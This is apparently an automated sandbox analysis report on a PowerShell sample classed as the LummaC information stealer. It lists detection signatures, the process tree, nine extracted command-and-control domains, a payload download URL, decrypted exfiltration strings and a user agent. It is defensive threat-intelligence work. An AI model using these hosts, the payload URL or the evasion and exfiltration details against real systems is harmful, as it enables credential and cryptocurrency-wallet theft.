Edit tour

Windows Analysis Report
de7s.txt.ps1

Overview

General Information

Sample name:	de7s.txt.ps1
Analysis ID:	1507182
MD5:	4151925de8fa81bf9c9877ce55a6c004
SHA1:	d3ac398e520632cf4318b2aca434ab26b3d8de89
SHA256:	fd06851b193a48fd9d1fe46f330aea219229e46b3d6c2843d3f735ba632f00fe
Tags:	ps1
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Yara detected LummaC Stealer

Yara detected Powershell download and execute

.NET source code contains very large strings

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Powershell drops PE file

Sample uses string decryption to hide its real strings

Switches to a custom stack to bypass stack traces

Uses an obfuscated file name to hide its real file extension (double extension)

Writes to foreign memory regions

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

powershell.exe (PID: 6232 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\de7s.txt.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Set-up.exe (PID: 5308 cmdline: "C:\Users\user\AppData\Local\Temp\file\Set-up.exe" MD5: 098AC4621EE0E855E0710710736C2955)

StrCmp.exe (PID: 4856 cmdline: C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe MD5: 916D7425A559AAA77F640710A65F9182)

more.com (PID: 3472 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 3704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SearchIndexer.exe (PID: 4140 cmdline: C:\Windows\SysWOW64\SearchIndexer.exe MD5: CF7BEFBA5E20F2F4C7851D016067B89C)

WerFault.exe (PID: 2132 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 440 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["bassicnuadnwi.shop", "condedqpwqm.shop", "stamppreewntnq.shop", "caffegclasiqwp.shop", "stagedchheiqwo.shop", "traineiwnqo.shop", "evoliutwoqm.shop", "millyscroqwp.shop", "locatedblsoqp.shop"], "Build id": "long--try"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
de7s.txt.ps1	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\file\Set-up.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000000.2440781515.0000000000401000.00000020.00000001.01000000.00000009.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Process Memory Space: powershell.exe PID: 6232	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: Set-up.exe PID: 5308	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
4.0.Set-up.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_6232.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\de7s.txt.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\de7s.txt.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\de7s.txt.ps1", ProcessId: 6232, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\de7s.txt.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\de7s.txt.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\de7s.txt.ps1", ProcessId: 6232, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: stamppreewntnq.shop

URL Reputation: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\cdbwxlpdlbk

Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: more.com.3472.7.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["bassicnuadnwi.shop", "condedqpwqm.shop", "stamppreewntnq.shop", "caffegclasiqwp.shop", "stagedchheiqwo.shop", "traineiwnqo.shop", "evoliutwoqm.shop", "millyscroqwp.shop", "locatedblsoqp.shop"], "Build id": "long--try"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\cdbwxlpdlbk

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: caffegclasiqwp.shop
Source: 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stamppreewntnq.shop
Source: 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stagedchheiqwo.shop
Source: 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: millyscroqwp.shop
Source: 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: evoliutwoqm.shop
Source: 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: condedqpwqm.shop
Source: 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: traineiwnqo.shop
Source: 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: locatedblsoqp.shop
Source: 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: bassicnuadnwi.shop
Source: 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: MeHdy4--pl8vrs1

Source: unknown

HTTPS traffic detected: 185.93.1.250:443 -> 192.168.2.6:49710 version: TLS 1.2

Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.RPGAwesome\net47\MahApps.Metro.IconPacks.RPGAwesome.pdb<k source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\Sensors\obj\Release\Microsoft.WindowsAPICodePack.Sensors.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880AA4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\ShellExtensions\obj\Release\Microsoft.WindowsAPICodePack.ShellExtensions.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880BFC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.Toolkit\obj\Release\Xceed.Wpf.Toolkit.pdb8 source: powershell.exe, 00000000.00000002.2445428097.000001D880DE9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Zondicons\net47\MahApps.Metro.IconPacks.Zondicons.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.BootstrapIcons\net47\MahApps.Metro.IconPacks.BootstrapIcons.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D88080C000.00000004.00000800.00020000.00000000.sdmp, MahApps.Metro.IconPacks.BootstrapIcons.dll.0.dr
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.RPGAwesome\net47\MahApps.Metro.IconPacks.RPGAwesome.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\Shell\obj\Release\Microsoft.WindowsAPICodePack.Shell.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880AF5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.CodeDom/net461-Release/System.CodeDom.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880D63000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\MaterialDesignInXamlToolkit\MaterialDesignInXamlToolkit\MaterialDesignThemes.Wpf\obj\Release\net452\MaterialDesignThemes.Wpf.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D88080C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Benton Stark\Documents\Visual Studio 2017\Projects\starksoft-aspen\Starksoft.Aspen\obj\Release\starksoft.aspen.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: Set-up.exe, 00000004.00000002.2555793757.00000000032A0000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000004.00000002.2553534456.0000000002F47000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.2751040785.000000000475B000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.2751278063.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785768391.00000000044D3000.00000004.00000020.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2786024510.0000000004970000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Unicons\net47\MahApps.Metro.IconPacks.Unicons.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Zondicons\net47\MahApps.Metro.IconPacks.Zondicons.pdbn source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock.Themes.VS2010\obj\Release\Xceed.Wpf.AvalonDock.Themes.VS2010.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880DE9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Set-up.exe, 00000004.00000002.2555793757.00000000032A0000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000004.00000002.2553534456.0000000002F47000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.2751040785.000000000475B000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.2751278063.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785768391.00000000044D3000.00000004.00000020.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2786024510.0000000004970000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\Qt\WebUI2\Release\WebUI.pdb source: Set-up.exe, 00000004.00000002.2569700222.000000006CB87000.00000002.00000001.01000000.0000000A.sdmp, WebUI.dll.0.dr
Source:	Binary string: remotepg.pdbGCTL source: more.com, 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785546283.0000000000166000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: D:\a\MaterialDesignInXamlToolkit\MaterialDesignInXamlToolkit\MaterialDesignThemes.Wpf\obj\Release\net452\MaterialDesignThemes.Wpf.pdbSHA256 source: powershell.exe, 00000000.00000002.2445428097.000001D88080C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: OnDemandConnRouteHelper.pdbUGP source: more.com, 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785546283.0000000000166000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.MaterialLight\net47\MahApps.Metro.IconPacks.MaterialLight.pdbRJ source: MahApps.Metro.IconPacks.MaterialLight.dll.0.dr
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Typicons\net47\MahApps.Metro.IconPacks.Typicons.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.SimpleIcons\net47\MahApps.Metro.IconPacks.SimpleIcons.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock.Themes.Metro\obj\Release\Xceed.Wpf.AvalonDock.Themes.Metro.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880DE9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.CodeDom/net461-Release/System.CodeDom.pdbSHA256 source: powershell.exe, 00000000.00000002.2445428097.000001D880D63000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.VaadinIcons\net47\MahApps.Metro.IconPacks.VaadinIcons.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\MaterialDesignInXamlToolkit\MaterialDesignInXamlToolkit\MaterialDesignColors.Wpf\obj\Release\net452\MaterialDesignColors.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp, MaterialDesignColors.dll.0.dr
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock.Themes.Aero\obj\Release\Xceed.Wpf.AvalonDock.Themes.Aero.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880DE9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.MaterialLight\net47\MahApps.Metro.IconPacks.MaterialLight.pdb source: MahApps.Metro.IconPacks.MaterialLight.dll.0.dr
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock.Themes.Aero\obj\Release\Xceed.Wpf.AvalonDock.Themes.Aero.pdbXh source: powershell.exe, 00000000.00000002.2445428097.000001D880DE9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\Core\obj\Release\Microsoft.WindowsAPICodePack.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D88080C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: onDock.Themes.VS2010\obj\Release\Xceed.Wpf.AvalonDock.Themes.VS2010.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880DE9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Typicons\net47\MahApps.Metro.IconPacks.Typicons.pdbX source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\ExtendedLinguisticServices\obj\Release\Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.pdbPxjx \x_CorDllMainmscoree.dll source: powershell.exe, 00000000.00000002.2445428097.000001D880A8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2445428097.000001D88080C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.Toolkit\obj\Release\Xceed.Wpf.Toolkit.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880DE9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock\obj\Release\Xceed.Wpf.AvalonDock.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880DE9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Benton Stark\Documents\Visual Studio 2017\Projects\starksoft-aspen\Starksoft.Aspen\obj\Release\starksoft.aspen.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\ExtendedLinguisticServices\obj\Release\Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880A8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2445428097.000001D88080C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.WeatherIcons\net47\MahApps.Metro.IconPacks.WeatherIcons.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: OnDemandConnRouteHelper.pdb source: more.com, 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785546283.0000000000166000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: remotepg.pdb source: more.com, 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785546283.0000000000166000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: D:\a\MaterialDesignInXamlToolkit\MaterialDesignInXamlToolkit\MaterialDesignColors.Wpf\obj\Release\net452\MaterialDesignColors.pdbSHA256 source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp, MaterialDesignColors.dll.0.dr

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: bassicnuadnwi.shop
Source: Malware configuration extractor	URLs: condedqpwqm.shop
Source: Malware configuration extractor	URLs: stamppreewntnq.shop
Source: Malware configuration extractor	URLs: caffegclasiqwp.shop
Source: Malware configuration extractor	URLs: stagedchheiqwo.shop
Source: Malware configuration extractor	URLs: traineiwnqo.shop
Source: Malware configuration extractor	URLs: evoliutwoqm.shop
Source: Malware configuration extractor	URLs: millyscroqwp.shop
Source: Malware configuration extractor	URLs: locatedblsoqp.shop

Source: global traffic

HTTP traffic detected: GET /peltgon.zip HTTP/1.1Host: tengkis.b-cdn.netConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 185.93.1.250 185.93.1.250

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /peltgon.zip HTTP/1.1Host: tengkis.b-cdn.netConnection: Keep-Alive

Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (YouTube Studio, https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (YouTube Studio, https://www.youtube.com/E equals www.youtube.com (Youtube)
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MYouTube, https://www.youtube.com/yt/about/brand-resources/#logos-icons-colors equals www.youtube.com (Youtube)
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MYouTube, https://www.youtube.com/yt/about/brand-resources/#logos-icons-colors0 equals www.youtube.com (Youtube)

Source: global traffic

DNS traffic detected: DNS query: tengkis.b-cdn.net

Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://blogs.skype.com/?attachment_id=56273
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://blogs.skype.com/?attachment_id=56273P
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://brand.wire.com
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000004.00000002.2551812325.0000000002E5E000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.2751171633.0000000004AFE000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785914106.000000000488F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000004.00000002.2551812325.0000000002E5E000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.2751171633.0000000004AFE000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785914106.000000000488F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA.crt0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://company.wolfram.com/press-center/language/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://company.wolfram.com/press-center/language/N
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://company.wolfram.com/press-center/mathematica/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://company.wolfram.com/press-center/mathematica/.
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://company.wolfram.com/press-center/wolfram-corporate/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://company.wolfram.com/press-center/wolfram-corporate/H
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000004.00000002.2551812325.0000000002E5E000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.2751171633.0000000004AFE000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785914106.000000000488F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=
